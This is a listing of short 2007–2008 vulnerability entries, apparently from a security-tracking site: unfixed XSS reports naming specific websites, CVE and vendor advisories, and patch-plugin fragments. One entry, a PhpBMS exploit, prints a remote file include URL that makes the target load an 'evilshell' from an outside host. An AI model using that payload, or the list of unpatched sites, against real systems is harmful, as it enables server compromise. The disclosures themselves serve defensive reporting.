Unfixed XSS vulnerability at www.aikos.smm.lt

Security researcher F3nix, has submitted on 13/01/2008 a cross-site-scripting XSS vulnerability affecting www.aikos.smm.lt, which at the time of submission ranked 56311 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 14/01/2008. It is currently...

Code injection

Unspecified vulnerability in the Administrative Console in IBM WebSphere Application Server 6.1 before Fix Pack 13 has unknown impact and attack vectors, related to "security concerns with monitor role users." NOTE: it was later reported that 6.0.2 before Fix Pack 25 is also affected...

CVE-2007-6679

Unspecified vulnerability in the Administrative Console in IBM WebSphere Application Server 6.1 before Fix Pack 13 has unknown impact and attack vectors, related to "security concerns with monitor role users." NOTE: it was later reported that 6.0.2 before Fix Pack 25 is also affected...

Unfixed XSS vulnerability at www.yellowpages.com.my

Security researcher DerickTham, has submitted on 13/12/2007 a cross-site-scripting XSS vulnerability affecting www.yellowpages.com.my, which at the time of submission ranked 29898 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 05/01/2008. It i...

Unfixed XSS vulnerability at gallys.shemaletugjobs.com

Security researcher TreX, has submitted on 13/12/2007 a cross-site-scripting XSS vulnerability affecting gallys.shemaletugjobs.com, which at the time of submission ranked 22515 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 19/12/2007. It is...

Unfixed XSS vulnerability at www.prettyclip.com

Security researcher TreX, has submitted on 13/12/2007 a cross-site-scripting XSS vulnerability affecting www.prettyclip.com, which at the time of submission ranked 41067 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 24/12/2007. It is currentl...

Unfixed XSS vulnerability at www.devbistro.com

Security researcher flux, has submitted on 13/12/2007 a cross-site-scripting XSS vulnerability affecting www.devbistro.com, which at the time of submission ranked 73821 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 07/01/2008. It is currently...

Unfixed XSS vulnerability at galleries.extremekream.com

Security researcher TreX, has submitted on 13/12/2007 a cross-site-scripting XSS vulnerability affecting galleries.extremekream.com, which at the time of submission ranked 29756 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 07/01/2008. It is...

phpbms-rfi.txt

PhpBMS 0.92 Remote File Include Exploit ------------------------------| Release date :2007-11-13 13:04| ------------------------------| -------| Exploit| -------| -------------------------------------------------------------------- http://site.net/cron.php?schedulerecord=http://host.com/evilshell...

GLSA-200711-13 : 3proxy: Denial of Service

The remote host is affected by the vulnerability described in GLSA-200711-13 3proxy: Denial of Service 3proxy contains a double free vulnerability in the ftpprchild function, which frees param-hostname and calls the parsehostname function, which in turn attempts to free param-hostname again. Impa...

JVN#50495547 Ichitaro series buffer overflow vulnerability

The "Ichitaro" series word processing software, from JustSystems Corporation, contains a buffer overflow vulnerability. If a user opens a specially crafted jtd file or views it on a web browser, an attacker could execute arbitrary code with the privileges of the user. Impact An attacker could...

openSUSE 10 Security Update : java-1_5_0-sun (java-1_5_0-sun-4527)

The Sun JAVA JDK 1.5.0 was upgraded to release 13 to fix various bugs, including the following security bugs : http://sunsolve.sun.com/search/document.do?assetkey=1-26-103 079-1 CVE-2007-5232: Sun Java Runtime Environment JRE in JDK and JRE 6 Update 2 and earlier, JDK and JRE 5.0 Update 12 and...

openSUSE 10 Security Update : java-1_4_2-sun-demo (java-1_4_2-sun-demo-2469)

The SUN Java packages have been upgraded to 1.4.2 update 13 and 1.5.0 update 10 to fix various security problems, this update contains the missing packages that were left out for 10.2. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were...

openSUSE 10 Security Update : MozillaFirefox (MozillaFirefox-3547)

This update brings Mozilla Firefox to security update version 2.0.0.4 This is a major upgrade from the Firefox 1.5.0.x line for SUSE Linux 10.0 and 10.1. - MFSA 2007-17 / CVE-2007-2871 : Chris Thomas demonstrated that XUL popups opened by web content could be placed outside the boundaries of the...

Unfixed XSS vulnerability at www.infusionconnections.com

Security researcher BackDoor, has submitted on 13/10/2007 a cross-site-scripting XSS vulnerability affecting www.infusionconnections.com, which at the time of submission ranked 1920040 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 01/11/2007...

Unfixed XSS vulnerability at www.sehitlerolmez.com

Security researcher st@rext, has submitted on 13/10/2007 a cross-site-scripting XSS vulnerability affecting www.sehitlerolmez.com, which at the time of submission ranked 610148 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/10/2007. It is...

Unfixed XSS vulnerability at www.openlab.cn

Security researcher kusomiso.com, has submitted on 13/10/2007 a cross-site-scripting XSS vulnerability affecting www.openlab.cn, which at the time of submission ranked 901831 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 01/11/2007. It is...

Unfixed XSS vulnerability at search.couponcabin.com

Security researcher tenest, has submitted on 13/10/2007 a cross-site-scripting XSS vulnerability affecting search.couponcabin.com, which at the time of submission ranked 23318 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 01/11/2007. It is...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in index.php in a Wikepage Opus 13 2007.2 and b TipiWiki 2 allow remote attackers to inject arbitrary web script or HTML via the 1 PageContent and 2 PageName parameters...

HP-UX Security Patch : PHKL_33526

VxFS 3.5-ga15 Kernel Cumulative Patch 13 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if !definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid26420; scriptversion"1.9"; scriptsetattributeattribute:"pluginmodificationdate",...